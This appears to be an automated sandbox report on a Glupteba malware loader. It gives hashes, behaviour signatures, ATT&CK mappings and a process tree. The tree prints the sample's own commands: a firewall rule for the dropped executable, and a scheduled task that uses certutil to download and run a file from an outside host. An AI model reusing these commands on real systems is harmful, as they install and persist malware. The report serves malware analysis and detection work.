Overview

overview

10

Static

static

aa6d45515e...e0.exe

windows7_x64

10

aa6d45515e...e0.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    117s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 04:43

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General

  • Target

    aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe

  • Size

    3.8MB

  • MD5

    75b7ef1e1078db669732ed9c778539d1

  • SHA1

    62b185a7bc12c6e92085ab5acd8dd98f7b829970

  • SHA256

    aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0

  • SHA512

    76c0abde2882f01801bdd4dd6bec17919e688f587ec28cd75bf1ba92735d5b3ba96194f0239973a427866b1bf745abc8253335f31b1369ebbfc3c84156289cb9

Score
10/10
gluptebadiscoverydropperevasionloaderpersistencetrojan

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba Payload 4 IoCs
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Loads dropped DLL 2 IoCs
  • Windows security modification 2 TTPs 12 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe
    "C:\Users\Admin\AppData\Local\Temp\aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:960
    • C:\Users\Admin\AppData\Local\Temp\aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe
      "C:\Users\Admin\AppData\Local\Temp\aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe"
      2⤵
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1228
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d26671056783\d26671056783.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1672
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d26671056783\d26671056783.exe" enable=yes
          4⤵
          • Modifies data under HKEY_USERS
          PID:1472
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        PID:1372
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:664
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:1864
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220520073043.log C:\Windows\Logs\CBS\CbsPersist_20220520073043.cab
    1⤵
    • Drops file in Windows directory
    PID:1188

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1
T1053

Persistence

Modify Existing Service

1
T1031

Registry Run Keys / Startup Folder

1
T1060

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Disabling Security Tools

2
T1089

Modify Registry

3
T1112

Credential Access

Discovery

Query Registry

1
T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • C:\Windows\rss\csrss.exe
    Filesize

    3.8MB

    MD5

    75b7ef1e1078db669732ed9c778539d1

    SHA1

    62b185a7bc12c6e92085ab5acd8dd98f7b829970

    SHA256

    aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0

    SHA512

    76c0abde2882f01801bdd4dd6bec17919e688f587ec28cd75bf1ba92735d5b3ba96194f0239973a427866b1bf745abc8253335f31b1369ebbfc3c84156289cb9

    Download Submit
  • \Windows\rss\csrss.exe
    Filesize

    3.8MB

    MD5

    75b7ef1e1078db669732ed9c778539d1

    SHA1

    62b185a7bc12c6e92085ab5acd8dd98f7b829970

    SHA256

    aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0

    SHA512

    76c0abde2882f01801bdd4dd6bec17919e688f587ec28cd75bf1ba92735d5b3ba96194f0239973a427866b1bf745abc8253335f31b1369ebbfc3c84156289cb9

    Download Submit
  • \Windows\rss\csrss.exe
    Filesize

    3.8MB

    MD5

    75b7ef1e1078db669732ed9c778539d1

    SHA1

    62b185a7bc12c6e92085ab5acd8dd98f7b829970

    SHA256

    aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0

    SHA512

    76c0abde2882f01801bdd4dd6bec17919e688f587ec28cd75bf1ba92735d5b3ba96194f0239973a427866b1bf745abc8253335f31b1369ebbfc3c84156289cb9

    Download Submit
  • memory/960-55-0x0000000002670000-0x0000000002A17000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/960-56-0x0000000002A20000-0x0000000003116000-memory.dmp
    Filesize

    7.0MB

    Download
  • memory/960-57-0x0000000000400000-0x0000000000D2B000-memory.dmp
    Filesize

    9.2MB

    Download
  • memory/960-54-0x0000000002670000-0x0000000002A17000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/1228-58-0x0000000002710000-0x0000000002AB7000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/1228-62-0x0000000002710000-0x0000000002AB7000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/1228-67-0x0000000000400000-0x0000000000D2B000-memory.dmp
    Filesize

    9.2MB

    Download
  • memory/1372-65-0x0000000000000000-mapping.dmp
    Download
  • memory/1372-68-0x00000000027A0000-0x0000000002B47000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/1372-69-0x00000000027A0000-0x0000000002B47000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/1372-70-0x0000000000400000-0x0000000000D2B000-memory.dmp
    Filesize

    9.2MB

    Download
  • memory/1472-61-0x000007FEFC041000-0x000007FEFC043000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1472-60-0x0000000000000000-mapping.dmp
    Download
  • memory/1672-59-0x0000000000000000-mapping.dmp
    Download